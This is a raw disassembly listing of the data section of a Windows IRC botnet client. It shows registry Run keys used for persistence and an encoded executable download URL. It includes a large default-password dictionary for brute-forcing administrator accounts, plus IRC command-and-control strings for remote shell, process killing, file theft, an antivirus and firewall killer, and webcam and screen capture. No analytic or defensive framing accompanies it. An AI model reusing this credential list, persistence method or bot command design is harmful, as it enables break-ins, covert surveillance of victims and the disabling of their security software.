offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o ; sub_41A19E+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o ; sub_41A19E+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h dd 4298A0h, 429898h, 429894h, 0 dd offset dword_43D808 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_4294D0 dd 10h ; DATA XREF: sub_401ACD+AFCr ; sub_401ACD+B28r ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294BCo align 10h aLan db 'lan',0 ; DATA XREF: ___:004294B4o aMain db 'main',0 ; DATA XREF: ___:004294B0o align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294ACo aBlank db 'blank',0 ; DATA XREF: ___:004294A8o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A4o align 4 aControl db 'control',0 ; DATA XREF: ___:004294A0o aXp db 'xp',0 ; DATA XREF: ___:0042949Co align 10h aNokia db 'nokia',0 ; DATA XREF: ___:00429498o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429494o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:00429490o aCompaq db 'compaq',0 ; DATA XREF: ___:0042948Co align 4 aDell db 'dell',0 ; DATA XREF: ___:00429488o align 4 aCisco db 'cisco',0 ; DATA XREF: ___:00429484o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:00429480o aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429478o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o align 10h aSql db 'sql',0 ; DATA XREF: ___:00429470o aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFDo ; ___:0042946Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429468o align 10h aDb1 db 'db1',0 ; DATA XREF: ___:00429460o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:0042945Co align 4 aData db 'data',0 ; DATA XREF: ___:00429458o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429454o align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429450o align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:0042944Co align 4 aAccess db 'access',0 ; DATA XREF: ___:00429448o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429440o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:0042943Co align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429438o align 10h aHello db 'hello',0 ; DATA XREF: ___:00429434o align 4 aHell db 'hell',0 ; DATA XREF: ___:00429430o align 10h aGod db 'god',0 ; DATA XREF: ___:0042942Co aSex db 'sex',0 ; DATA XREF: ___:00429428o ; ___:off_4385E8o aSlut db 'slut',0 ; DATA XREF: ___:00429424o align 10h aBitch db 'bitch',0 ; DATA XREF: ___:00429420o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:0042941Co align 10h aExchange db 'exchange',0 ; DATA XREF: ___:00429418o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429414o align 4 aTechnical db 'technical',0 ; DATA XREF: ___:00429410o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: ___:0042940Co align 4 aLogin db 'login',0 ; DATA XREF: sub_401ACD+AA3o ; ___:00429408o align 4 aMary db 'mary',0 ; DATA XREF: ___:00429404o align 4 aKatie db 'katie',0 ; DATA XREF: ___:00429400o align 4 aKate db 'kate',0 ; DATA XREF: ___:004293F8o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F4o align 4 aEric db 'eric',0 ; DATA XREF: ___:004293F0o align 4 aChris db 'chris',0 ; DATA XREF: ___:004293ECo align 4 aIan db 'ian',0 ; DATA XREF: ___:004293E8o aNeil db 'neil',0 ; DATA XREF: ___:004293E4o align 10h aLee db 'lee',0 ; DATA XREF: ___:004293E0o aBrian db 'brian',0 ; DATA XREF: ___:004293DCo align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D4o align 4 aSue db 'sue',0 ; DATA XREF: ___:004293D0o aSam db 'sam',0 ; DATA XREF: ___:004293CCo aLuke db 'luke',0 ; DATA XREF: ___:004293C8o align 4 aPeter db 'peter',0 ; DATA XREF: ___:004293C4o ; ___:004293D8o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293C0o align 4 aMike db 'mike',0 ; DATA XREF: ___:004293BCo align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B8o align 4 aFred db 'fred',0 ; DATA XREF: ___:004293B4o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293B0o aJen db 'jen',0 ; DATA XREF: ___:004293ACo aBob db 'bob',0 ; DATA XREF: ___:004293A8o ; ___:004293FCo aQwe db 'qwe',0 ; DATA XREF: ___:004293A4o aZxc db 'zxc',0 ; DATA XREF: ___:004293A0o aAsd db 'asd',0 ; DATA XREF: ___:0042939Co aQaz db 'qaz',0 ; DATA XREF: ___:00429398o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429394o aWinnt db 'winnt',0 ; DATA XREF: ___:00429390o align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:0042938Co align 10h aWin2k db 'win2k',0 ; DATA XREF: ___:00429388o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429384o align 10h aWindows db 'windows',0 ; DATA XREF: ___:00429380o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:0042937Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: ___:00429378o aOem db 'oem',0 ; DATA XREF: ___:00429374o aUser db 'user',0 ; DATA XREF: sub_401ACD+46D4o ; ___:00429370o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:0042936Co align 4 aHome db 'home',0 ; DATA XREF: ___:00429368o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429364o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:00429360o align 4 aInternet db 'internet',0 ; DATA XREF: ___:0042935Co ; ___:004294B8o align 10h aWww db 'www',0 ; DATA XREF: ___:00429358o aWeb db 'web',0 ; DATA XREF: ___:00429354o aOutlook db 'outlook',0 ; DATA XREF: ___:00429350o aMail db 'mail',0 ; DATA XREF: ___:0042934Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429348o align 10h aNull_1 db 'null',0 ; DATA XREF: ___:00429344o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E90o ; ___:0042933Co align 10h aSystem db 'system',0 ; DATA XREF: ___:00429338o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:00429330o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042932Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429328o align 4 aDemo db 'demo',0 ; DATA XREF: ___:00429324o align 4 aNone db 'none',0 ; DATA XREF: ___:00429320o align 4 aTest db 'test',0 ; DATA XREF: ___:00429318o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429314o align 4 a2003 db '2003',0 ; DATA XREF: sub_41AA43+BAo ; ___:00429310o align 4 a2002 db '2002',0 ; DATA XREF: ___:0042930Co align 4 a2001 db '2001',0 ; DATA XREF: ___:00429308o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429304o align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:00429300o align 10h a123456789 db '123456789',0 ; DATA XREF: ___:004292FCo align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F8o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F4o a123456 db '123456',0 ; DATA XREF: ___:004292F0o align 4 a12345 db '12345',0 ; DATA XREF: ___:004292ECo align 10h a1234 db '1234',0 ; DATA XREF: ___:004292E8o align 4 a123 db '123',0 ; DATA XREF: ___:004292E4o a12 db '12',0 ; DATA XREF: ___:004292E0o align 10h a1: ; DATA XREF: ___:004292DCo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D8o aPwd db 'pwd',0 ; DATA XREF: ___:004292D4o aPass db 'pass',0 ; DATA XREF: ___:004292D0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292CCo align 10h aPasswd db 'passwd',0 ; DATA XREF: ___:004292C8o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C4o align 4 aPassword1 db 'password1',0 ; DATA XREF: ___:004292C0o align 10h aAdm db 'adm',0 ; DATA XREF: ___:004292BCo aDb2 db 'db2',0 ; DATA XREF: ___:00429464o aOracle db 'oracle',0 ; DATA XREF: ___:0042947Co align 10h aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429444o align 10h aDefault db 'default',0 ; DATA XREF: ___:00429334o aGuest_0 db 'guest',0 ; DATA XREF: ___:0042931Co align 10h aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C4o aStudent db 'student',0 ; DATA XREF: ___:004294C0o aOwner db 'owner',0 align 4 aComputer db 'computer',0 align 10h aRoot db 'root',0 ; DATA XREF: ___:00429340o align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C8o align 10h aAdmin db 'admin',0 ; DATA XREF: ___:004292B8o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B4o align 10h aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B0o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292ACo align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A4o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A38 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A78 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A9C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429AB8 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC4 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A30+7Eo dword_429ACC dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B4+EAo ... unk_429AD4 db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o align 4 unk_429B3C db 2Dh ; - ; DATA XREF: sub_401ACD+7F0Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429B5C db 2Dh ; - ; DATA XREF: sub_401ACD+7EEDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429B7C db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E63o align 10h unk_429BD0 db 2Dh ; - ; DATA XREF: sub_401ACD+7E25o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E13o ; sub_401ACD+7E7Ao align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFCo align 10h asc_429C50: ; DATA XREF: sub_401ACD+7DCCo unicode 0, <~>,0 unk_429C54 db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 unk_429C78 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 10h unk_429CA0 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7CA2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CE8 db 2Dh ; - ; DATA XREF: sub_401ACD+7C82o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429D0C db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 10h dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Bo dd 2E732520h, 0 unk_429D4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409685o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D78 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB1o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D9C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FDo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7B26o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Co unk_429DF0 db 2Dh ; - ; DATA XREF: sub_401ACD+79FFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429E18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B3o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E3C db 2Dh ; - ; DATA XREF: sub_401ACD+79DCo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E5C db 2Dh ; - ; DATA XREF: sub_401ACD+79B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409468o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD+796Do db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429ECC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD+7926o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429F1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409399o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F4C db 2Dh ; - ; DATA XREF: sub_401ACD+78C5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h dword_429F70 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7885o dd 27732527h, 2Eh unk_429F8C db 2Dh ; - ; DATA XREF: sub_401ACD+7803o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429FB0 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7786o dd 0 unk_429FC8 db 2Dh ; - ; DATA XREF: sub_401ACD+7755o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_42A008 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E6o dd 2Eh dword_42A020 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_409140o dd 746E6573h, 2Eh unk_42A03C db 2Dh ; - ; DATA XREF: sub_401ACD+766Co db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A05C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+7630o dd 732520h unk_42A074 db 2Dh ; - ; DATA XREF: sub_401ACD+7611o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h asc_42A0A0: ; DATA XREF: sub_401ACD+75F9o ; sub_40F6B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+75CFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 unk_42A0C8 db 2Dh ; - ; DATA XREF: sub_401ACD+75C2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_42A0EC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_42A12C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409015o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42A16C db 2Dh ; - ; DATA XREF: sub_401ACD+753Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F87o align 10h unk_42A1A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F74o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_42A20C db 2Dh ; - ; DATA XREF: sub_401ACD+7490o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE6o align 10h unk_42A240 db 2Dh ; - ; DATA XREF: sub_401ACD+740Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 unk_42A268 db 2Dh ; - ; DATA XREF: sub_401ACD+73D9o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 10h aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E59o unk_42A298 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E46o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_42A2D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_42A304 db 2Dh ; - ; DATA XREF: sub_401ACD+7362o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFEo align 4 dword_42A338 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7319o dd 2E732520h, 0 unk_42A354 db 2Dh ; - ; DATA XREF: sub_401ACD+72D3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_42A384 db 2Dh ; - ; DATA XREF: sub_401ACD+72B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_42A3AC db 2Dh ; - ; DATA XREF: sub_401ACD+720Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+71D6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_42A3EC db 2Dh ; - ; DATA XREF: sub_401ACD+7181o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42A408 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Fo dword_42A41C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: 